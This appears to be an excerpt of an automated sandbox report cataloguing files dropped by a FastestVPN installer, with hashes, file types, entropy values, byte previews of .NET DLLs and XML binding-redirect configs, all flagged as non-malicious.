                                                                                                                    SSDEEP:96:FajQ4xW97nzsbzW+0eTODzfHvt0K/UrPdlMoi5U:FTd7nzsbyyqvt1/URiby
                                                                                                                    MD5:BC1059DA39659B80A09C994AE6DB5DB7
                                                                                                                    SHA1:D7E9D74133C98F897B94C42F09B93F10E3274EDB
                                                                                                                    SHA-256:9543C96124919AE5B672FD7C23CCF5946A37FBB83A174112A33DA9FF37449B43
                                                                                                                    SHA-512:F88CD2EC86E52EF31C471E580A9733D7DAAA7E3062C7DBCAAF9E50308934A4B679B364A4C1372D9021D9F5A504D5C310B8F631799AFA3248878B4F55A6CB704B
                                                                                                                    Malicious:false
                                                                                                                    Preview:............ .h...6... .... .........00.... ..%..F...(....... ..... .....@...................................2..A!...........................................................3..#.... ..-...................................................................m....................................................`.............. ................................................... ..]...............G........................................................ ...!...&...,{..........................7...................!...!... ... ......U....................U...+.../...,...'.......................,..7....................4..7(...)...-...4...@...>...2...........N.......................*..M&...*.......0...7...Y...j...r...?..i............................(..M...............................................................`...!..}..............._................................................0..!"..............5.......................................................I......................................

                                                                                                                    C:\Program Files\FastestVPN\is-IDET5.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1192
                                                                                                                    Entropy (8bit):5.059106104983516
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:JduPF7NV+TkH2/17zVVXBOH2/17zVQ7uH2/XVUrPH2/+C9y:327Gwg1BOg1SagXSg+Cw
                                                                                                                    MD5:66373624F8B60F41B8FEC0E61779C0AC
                                                                                                                    SHA1:0D3BE3C009F0A2260F89C3FBC9FFEBA0061C17F2
                                                                                                                    SHA-256:FE0A5830D875B8BD0864BF4F85705D4F2E3D7A575C07B2B5A18041558DBA1386
                                                                                                                    SHA-512:74F084B2697F936122E371042FEF5740BF205914B3FA276F8F7C72561680BF2C39A7DD2970BDEDF36AACC20970CD9552A719211F30090881E498815D91C6CDD0
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.core" publicKeyToken="1488e028ca7ab535" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="SQLitePCLRaw.batteries_v2" publicKeyToken="8226ea5df37bcae9" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-2.1.6.2060" newVersion="2.1.6.2060" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Runtime.CompilerServices.Unsafe" publicKeyToken="b03f5f7f11d50a3a" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-6.0.0.0" newVersion="6.0.0.0" />.. </dependentAssembly>.. <dependentAssembly>.. <assemblyIdentity name="System.Memory" publicKeyToken="cc7b13ffc

                                                                                                                    C:\Program Files\FastestVPN\is-IHPI5.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, ASCII text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):1106
                                                                                                                    Entropy (8bit):5.038231865445437
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24:2dV8F7H3p2/+XBPpZp2/+XBPqp2/+XBw1irkV:cVg7C+XBR4+XBn+XBvrE
                                                                                                                    MD5:75E66AB540561A0C7D4160271F518243
                                                                                                                    SHA1:AD6501E407D216744B6C3DE76D7664D9581EBAD2
                                                                                                                    SHA-256:091AFFF3BB63024B5A7B14EA30306B6753858FD1A33FC8C98E3B5E65FE92FBE7
                                                                                                                    SHA-512:FCB55C0FDBB984B06AFF2FAFCAEA2596C175AA5A07D2F1A401305D3441338AA266A53D2DE7A7577684884A2E12CE3EE430B2E1D0210684A7EEFAF9EAA0DE115F
                                                                                                                    Malicious:false
                                                                                                                    Preview:<?xml version="1.0" encoding="utf-8"?>..<configuration>.... <appSettings>.. <add key="DownloadLocation" value=""/>.. </appSettings>.... <runtime>.... <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.... <dependentAssembly>.... <assemblyIdentity name="System.Runtime" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Threading.Tasks" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... <dependentAssembly>.... <assemblyIdentity name="System.Net.Http" publicKeyToken="b03f5f7f11d50a3a" culture="neutral"/>.... <bindingRedirect oldVersion="0.0.0.0-4.0.0.0" newVersion="4.0.0.0"/>.... </dependentAssembly>.... </assemblyBinding>.... </runtime>

                                                                                                                    C:\Program Files\FastestVPN\is-IQDKV.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):30888
                                                                                                                    Entropy (8bit):6.550270680442998
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:RzfFYXOvijvSGpUprWHEvgr0KnB4C7GrhIYiRSk0FP27NBY3Yuv+U:RxyOg9bxr9qaGKYi8K/Y/+U
                                                                                                                    MD5:96D7E9527C5D8BDBA798F72B5FD9B94A
                                                                                                                    SHA1:C9CE9813C74493084D6E3DDA37C35C8822CA381F
                                                                                                                    SHA-256:6942DC9FDBB229D066BA3E1844883B9DA3EAE21F7035FFF2674C3F19C6331B55
                                                                                                                    SHA-512:BE88433F513C4D9F58BDDFED57427DEC12BA0490E2D7C79176144732FBB7969956FA55B03E462C50EA3508389B3C29BC5A559F4B6002C6022C93D059C65B5C44
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...f6............" ..0..F...........e... ........... ....................................`..................................e..O....................N...*...........d..8............................................ ............... ..H............text....E... ...F.................. ..`.rsrc................H..............@..@.reloc...............L..............@..B................be......H.......\4..$0............................................................(....*..{....*"..}....*..{....*"..}....*V.(......(......(....*.0..7.........(....}.......}.......}......|......(...+..|....(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..(......(......(......(.......(....*.0..?.........(....}3......}4......}5......}2.....|3.....(...+..|3...(....*..0..7.........(....}#......}$......}".....|#.....(...+..|#...(....*..0..?.........(....}.......}

                                                                                                                    C:\Program Files\FastestVPN\is-J1CTU.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25768
                                                                                                                    Entropy (8bit):6.8288213942048985
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:tNjMaZomdl7FUC9mhsCVoNycrjIg9J197j26QIYidYFl0FP27NBY3Yuv+tiV:tHhShzuD/Bpa65YiGFuK/Y/+tiV
                                                                                                                    MD5:37E6E1D07988932C4360D74A34B27AE9
                                                                                                                    SHA1:F53AE2462ECC565EFCC28D1C5BB2C285BF899798
                                                                                                                    SHA-256:7E321840FA4F112D0F117D8F4E4DDCA274829693CD1C1189CE1061B6F67550FF
                                                                                                                    SHA-512:EFB94F19A885D20BF602AFE84CDD4FE5E9CE89B3A5B7D0BD5273546A6B5D894AD6F1359545DC6B2EEDE06FCB06790286CB69EFB153F249D7D8EF0C677C5D1B3A
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......4.a.pi.Hpi.Hpi.H68.Hri.H68.H|i.H68.Hri.H68.Hti.H...Hqi.H...Hyi.Hpi.HFi.H};.Hsi.H};.Hqi.H};.Hqi.H};.Hqi.HRichpi.H........PE..L....q.Z...........!.................$.......0...............................p............@..........................7......D:.......P...............:...*...`..x...................................p4..@............0...............................text............................... ..`.rdata.......0......."..............@..@.data...\....@.......2..............@....rsrc........P.......4..............@..@.reloc..x....`.......6..............@..B................................................................................................................................................................................................................................................................................................................

                                                                                                                    C:\Program Files\FastestVPN\is-J47PI.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):70824
                                                                                                                    Entropy (8bit):6.23750269831583
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:rMDv5NwVvDK0HBDk4rVHe061i/kObvmaLLJBr+tTe7TK/SB0:UorK0HBDk4rV21HObvm2LJB4eHK/SO
                                                                                                                    MD5:0F7D6DEE75C3FBB958529AB6A351CBDF
                                                                                                                    SHA1:1CA639AB692ECD972C51C8BF826BF9BF089359FE
                                                                                                                    SHA-256:C5B07CBACD0FF045485A0A4CE6FB3CCB330A0623E3EFE347D61DA4E698FDE412
                                                                                                                    SHA-512:58F0B5ED44E3290D6C9FB0E624F2A351CD5BB4744A84AC55AC47FB1B087026DE4DBAA6BBC83255EEC51A2BB3ED9A680EF53E8FC7035586B4A74CA68016AE0F5D
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.... F..........." ..0.............J.... ... ....... .......................`...........`.....................................O.... ...................*...@......D...8............................................ ............... ..H............text...P.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................,.......H.......0<................................................................("...*^.("......I...%...}....*:.(".....}....*b.{....%-.&*..s#...o$...*.0..)........{.........(%...t......|......(...+...3.*....0..)........{.........('...t......|......(...+...3.*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*2.(....s)...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..((...*..{....*"..}....*..{

                                                                                                                    C:\Program Files\FastestVPN\is-JURBP.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):25976
                                                                                                                    Entropy (8bit):6.331152456306087
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:384:Z90ljCvGQJ+GlfmER/asDZ0WN1L4meT6pmOW2ZZWeQMWMLHRN7S37EHR9zCt+:Z9EIGk+GlfmERxcFz2ZSCL+7Ex9zS+
                                                                                                                    MD5:3C5DFBB4E3F1AD153EB2E203B56EA0AE
                                                                                                                    SHA1:59623BF1D67D87264C165E421F12426DA998AF46
                                                                                                                    SHA-256:9E8252429D0E6529B87A2C79A13119F4DF56ABE924949F3750B024C51D747378
                                                                                                                    SHA-512:94DF20E98A2E5D7AC93B63EFEBCE4DAAFBF25AB6B4A2B76AF0BB46D9EDE102AC8C8E1147D5813CDB879AADD5A8AA4073FD0E6066286AF4EF4D368FAB983BE3B5
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....w............" ..0..4...........S... ...`....... ....................................`..................................S..O....`...............>..x'..........XR..T............................................ ............... ..H............text....3... ...4.................. ..`.rsrc........`.......6..............@..@.reloc...............<..............@..B.................S......H.......l,..l%...................Q........................................(....*.0..H.........~....,...~....*~..........(......~....%-.&s....%...........,..(......*........#<.......0..%.......~..........(...............,..(.....*....................0..........~..........(....(....o....(...+....,..(......*...........".......0..0.......~..........(....(.....o.....(...+....,..(......*.........$.......0..).......~..........(....(......o.......,..(.....*....................0..b...

                                                                                                                    C:\Program Files\FastestVPN\is-KH3QE.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):160936
                                                                                                                    Entropy (8bit):5.261187861382329
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:kgeojL/a7WvVHjizsw+Uu5MBBA4TigO8K/1:5jDzvVDizsQWMB1iR/1
                                                                                                                    MD5:F3F2EB62314A960AD5F60B61A8193CBD
                                                                                                                    SHA1:FD77AD6D9F96762CD7EE8D17454D9A7490FD8148
                                                                                                                    SHA-256:0F74E741958310B8E65E3B2393828998DB075EBF4C5B29045707948C65CB03CC
                                                                                                                    SHA-512:A62D09CF93E604AE0282F05842B607216533800F82ABF75E7D0FF1E9DED5F748B9E34D5E38170F1C837A0957D15FC4C6DF101FF2BE48D90C880807D0FB95D3E6
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...2.Z...........!.........,......n:... ...@....... ....................................@..................................:..S....@..8)...........J...*...........8............................................... ............... ..H............text...t.... ...................... ..`.rsrc...8)...@...*..................@..@.reloc...............H..............@..B................P:......H........#......................P ............................................y.....3....f........UE#.H.NDC..\3,.|7...1...=.w..n.w.P5.y.......p.._Z@B..h..#,._...p...|..qXV..6.......i[..2;.'`..=.;...~....*..0..T.......(..........(....(......r...pr...p(...........s..........,..(......T+...~....(....T.*.~....,.~....o..........~....,.~....(..........*.0..e.......s.......o....s......r5..p.o ....r?..p.o ....rQ..pry..po .....s!........~.....("...s#.....r...p($...&*....0..A.......

                                                                                                                    C:\Program Files\FastestVPN\is-LKQ8H.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):2059432
                                                                                                                    Entropy (8bit):7.651137710710665
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:24576:+3zNmj7tPN/PPINv2lYnvqfI1L3ciKKqjnTVlKJ+hgyiTebWmDXQHMkgXvYOdSYB:84vtPNvCv2Qqfobuvq+hqCTDgHMT
                                                                                                                    MD5:01CF6EF766C41BB2C99A2CCCDECC69C1
                                                                                                                    SHA1:8DD5EB983C1C8F2E3A2538E50295644BB778A69E
                                                                                                                    SHA-256:9A9B95CA40D32FA23A615A122FA3AAF7AEB32FBEF2850D729F77C1169FFC0452
                                                                                                                    SHA-512:9EE4D4D7852555F67CF0C9B372DCA87EC0727AB0A6FC5EAE309CF6BF5467FC75C6868A5E528D34AB605CDC736D30684D35A1451D4ABE3B99BA37D276474AC940
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....G............"...0......D........... ... ....@.. ...............................P ...`.................................^...O.... ...A...........B...*..............8............................................ ............... ..H............text........ ...................... ..`.rsrc....A... ...B..................@..@.reloc...............@..............@..B........................H.......DD..T`......-....... v...........................................0..O.......s....%.o....%.o ...%.o!...%..o".....o#........($........(%..._,...o&...(....*.*..(....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...(.......(....(.......(....(.......(....(.....*.0..5........('...-..*.((.....o)...(*...(+...(,.......,..o-.....*............)........(....*2.(/...o0...*..(1...*.(2...*2.(....o3...*..(....o4...&.(.....o5....(.....o5....(....o6...&*2.(....o7

                                                                                                                    C:\Program Files\FastestVPN\is-LTL2E.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\is-M4SB1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):354984
                                                                                                                    Entropy (8bit):6.846739611307464
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:6144:jbz6pzdD/rIJXiQTutgCNktQFvmnoxXTS4ubCjrKglegtKop/4:G9FrIJJaqCNktA+SXfUCP9lvtKop/4
                                                                                                                    MD5:D822226C4B35A7305269C8E16E542D3E
                                                                                                                    SHA1:12F92D16608AAC1C39DDC92BA2B5AB8B5AAE6C30
                                                                                                                    SHA-256:FC504A3F68150AFC8C3304E5528867BF99EDDE0F3707406A30371062DDD86A0E
                                                                                                                    SHA-512:3A3A18D96716BD1033C35B06B73674FF6CBBEBE8F5025D0BE260F649FB268745290139B6501B9E208EB43EC5D76C2ABBA0A34C1E2F7E0E9F25E14C41F54E3914
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....I}f.........."...0......D......6.... ... ....@.. ..............................o.....`.....................................O.... ..tA...........@...*........................................................... ............... ..H............text...<.... ...................... ..`.rsrc...tA... ...B..................@..@.reloc...............>..............@..B........................H........'... ...........G...............................................~....*.......*..,!.(...+.1..(...+(....-..(...+(....s....%o....%.o....o....&*....0..5........r...p.s....(.....{....,.*..}....r!..p.s.......(....*"..}....*..(....*.rY..p.....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*..{....*"..}....*...0............j(......j(.....(....,#.(....o....,..(....o ....(....o!.....(......&...s"...(.....(

                                                                                                                    C:\Program Files\FastestVPN\is-P51DA.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):432
                                                                                                                    Entropy (8bit):5.0141792226861375
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:12:MMHdGzNFF7ap+5v5OXrRf/2//FicYo4xT:JduPF7NhOXrRH2/d9y
                                                                                                                    MD5:8F6EB9E75E6A6F0C0D58FB697C10CEDF
                                                                                                                    SHA1:6944935DFDC33E0C6DB26869BF25EDA85A2622D8
                                                                                                                    SHA-256:E2B8677434501735FB0233ED0CC2FFEE5BF6FB4387C51DBCB2585A70E42E4F08
                                                                                                                    SHA-512:A946252B2E3705EAE751A2672D4ADE1499ECEB28C48B4BE6150C4201EE20A7B9A4450C75E06B07F5DAA3528041A566931D988FBD0C2EA90240D61008895BA44A
                                                                                                                    Malicious:false
                                                                                                                    Preview:.<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <runtime>.. <assemblyBinding xmlns="urn:schemas-microsoft-com:asm.v1">.. <dependentAssembly>.. <assemblyIdentity name="Newtonsoft.Json" publicKeyToken="30ad4fe6b2a6aeed" culture="neutral" />.. <bindingRedirect oldVersion="0.0.0.0-13.0.0.0" newVersion="13.0.0.0" />.. </dependentAssembly>.. </assemblyBinding>.. </runtime>..</configuration>

                                                                                                                    C:\Program Files\FastestVPN\is-QIAH3.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):147848
                                                                                                                    Entropy (8bit):6.032707503792338
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:3072:yiq8kuub1o2/5pds7tUMZNFxtPwVrHlGZ6U1SiWUwBpXtNpTE1MNniv:WFwzFQ9FGZ1SityhtNpTECU
                                                                                                                    MD5:B6DB385295FA78A6AABCF217FD3C3F83
                                                                                                                    SHA1:71E2A93223A6B8204EED6B9834284C0FA1D7EBD0
                                                                                                                    SHA-256:ABF40F07643E6D29D0817021991F9D27410B7DCAEF80980D849634ACEF255BDC
                                                                                                                    SHA-512:122FDB77C0AC6A7A2ECF5519BB059097EF119390E6D3C34F9FAB303D60279EE8649175617E3B6FC2A3D118B422CE8BC1BFFC208332D0A9F012271325AC0A0EE7
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....@..........." ..0..............1... ...@....... ..............................0b....`.................................71..O....@...................'...`.......0..T............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................k1......H.......8...d].................../.......................................0..s........r...p(......(....,.r...psK...z.rW..po....-.r[..pro..p(X....*s.....~.....o....o......+8..o....t.........o.....o ...o!.....o.....o ...o!...o".....o#...-.....u........,...o$.....r...po%...,.r[..pr...p(X....*.rS..po%...,.r[..prg..p(X....*~&....~&......o%...,.....o'...&..o%...,.....o'...&.(....,..(....,.r...p.r...p((...sK...z.(....-&.(....-.r...p.r%..p((.....r)..p.((.....*.......U.E........(....*.

                                                                                                                    C:\Program Files\FastestVPN\is-QKJFC.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (GUI) Intel 80386, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):3070013
                                                                                                                    Entropy (8bit):6.3970181902654595
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:49152:BdJYVM+9JtzZWnoS2VC23aun8+f5KuGP+VYNCWNtdH333tS:HJYVM+LtVt3P/KuGP+VYNCuf333s
                                                                                                                    MD5:85C9EB5EFAC3AA957BB0B5D820596E7A
                                                                                                                    SHA1:CA4FC10EA88E6D2C581D22505C3FDDDEBD6C6534
                                                                                                                    SHA-256:635DD70334FD9781CDA5E19150DC945E1039EDFF2C0CEC9BC00B68A5B6D0B8A1
                                                                                                                    SHA-512:A10F0D6F22ED949C916290186300E68883A24ED6A28963C5BD73EF38EEB2AA910699E12A6AA038B54CA99512A04AC9790912C14A0FCAD045B1B091D008189991
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L.....gf..................*...........*.......*...@..........................P/...........@......@...................P,.n.....,.j:....,.$....................................................p,.......................,......@,.(....................text.....*.......*................. ..`.itext..$.....*..0....*............. ..`.data.........*.......*.............@....bss.....|....+..........................idata..j:....,..<...f+.............@....didata.(....@,.......+.............@....edata..n....P,.......+.............@..@.tls....X....`,..........................rdata..]....p,.......+.............@..@.rsrc...$.....,.......+.............@..@.............`0......./.............@..@........................................................

                                                                                                                    C:\Program Files\FastestVPN\is-R5J7J.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):61608
                                                                                                                    Entropy (8bit):6.287396747644481
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:768:SmOGveifSTtyXEQ3nPGLb4PFvSMJCD2j+/IfHq1wJd9P581Icm/DskdFPYi3K/Ye:yLTtyXEQ3+bO6U+QlrPi1QLsgFP73K/h
                                                                                                                    MD5:A760AEACBE049C8C0D5DD66DD9EAA7A0
                                                                                                                    SHA1:975896722F2D5A365621EE407ACE3E3294CFC1C3
                                                                                                                    SHA-256:C3618538771839CBC6A855E41A1664D5B86313070FC75CA1B58EF74D007DBDE4
                                                                                                                    SHA-512:64CF42CF493686A4286320819D10A37CC075088509866E867A341651B7762FFD88750417E3AD72E6FA78908DD17C66363752E5AA2955066BA4930889D36AE3CA
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L.....b..........." ..0.................. ........... ....................... .......L....`.....................................O.......0................*..............T............................................ ............... ..H............text........ ...................... ..`.rsrc...0...........................@..@.reloc..............................@..B........................H.......@@..<...........|.................................................(....*..(....*..(....*.......*Z~....,.*.oB...&......*.......*b~....-.r...ps....z~....*.(#...o8...*.0..........(#......o9.....(....Q*6.(.....(%...*.0..........(#........o:.....(....Q*R.(.......(....('...*:(#......o?...*N.(.....(.....()...*2(#....o;...*2(#....o<...*..o....*..o....*2(#....o=...*2(#....o>...*6(#.....o....*...0..........s"......}"....{"...-...+....#...s.......(1...*6(#.....o....*6..(....(3..

                                                                                                                    C:\Program Files\FastestVPN\is-RCMHQ.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):143528
                                                                                                                    Entropy (8bit):6.164743567434074
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:oxi8ae06y7Q0kSutmvEmFk0pBa/+h8k/6kY2F8xB0dhqABtx5yoG9Qd7n8K/m:Q0vDkSutmhFpYqtDqAhjMQdYK/m
                                                                                                                    MD5:24DF113016A58EB1D14691CFE947C2C8
                                                                                                                    SHA1:E32B2388C9BCB8BD3EEA1A87626B562A06F5E2F9
                                                                                                                    SHA-256:4DE9980CF1D3B45FC14F69EA4DFF6F456389C5E817344D44D6FA7C1A3276AFB5
                                                                                                                    SHA-512:10DD82391CF51885533A5F9F859D7E79A9016F6E6A24C0A04C9BE08EA4C5A951D73AF467EC89BAB191DAC4B37D51B0C0AB247A24CD05478AD6101A44E9FC0D48
                                                                                                                    Malicious:false
                                                                                                                    Preview:MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...U..\.........." ..0.............b.... ... ....... .......................`......q[....@.....................................O.... ..8................*...@..........8............................................ ............... ..H............text...8.... ...................... ..`.rsrc...8.... ......................@..@.reloc.......@......................@..B................C.......H........,..L...........,.................................................((...*>..}......}....*..{....*..{....*..{.....{....3..{.....{....()...*.*..0...........%.u....,..........(....*.*z.{....%-.&.+.o*....{....(a...*..(....zN........o+...s,...*.(....z.s-...*..(....zF(U....(O...s....*.(....z.(V...s....*.(....z.s/...*.(....z.s0...*..(....zN........o+...s1...*.(....zrr...p(\....c.M...(O...s2...*.(....zBr...p(Y...s2...*.(....z.s3...*.(....z.(X...s4...*.(!...z.(_...s4...*.(#...z

                                                                                                                    C:\Program Files\FastestVPN\is-U4UD1.tmp

                                                                                                                    Download File
                                                                                                                    Process:C:\Users\user\AppData\Local\Temp\is-NV979.tmp\mnFHs2DuKg.tmp
                                                                                                                    File Type:PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
                                                                                                                    Category:dropped
                                                                                                                    Size (bytes):110760
                                                                                                                    Entropy (8bit):5.479763068610726
                                                                                                                    Encrypted:false
                                                                                                                    SSDEEP:1536:hpKSyD3hoE3PQU9xb1iPKHKWU//6hE2rkQQc76rK/8:qSyLhZ/X9xb1YKqn/unQcOrK/8
                                                                                                                    MD5:3FC875FFEFAC2BBA64E6F2A6A7CFF45B
                                                                                                                    SHA1:CAB48D6D156261CD9612633D70A61DA670D0D093
                                                                                                                    SHA-256:5A12A8D3CA02716C616F56342C920422966ABF79B49C4B1E1C7FF36E97764E1B
                                                                                                                    SHA-512:DDA0B6F0587D7915B490FFA2225E72374A2AA671E2019ABDC72EB7598B642906CF09302575C5B5B495B832FF434D45BAD0650C0409358E5D1786F4561FAE3636
                                                                                                                    Malicious:false
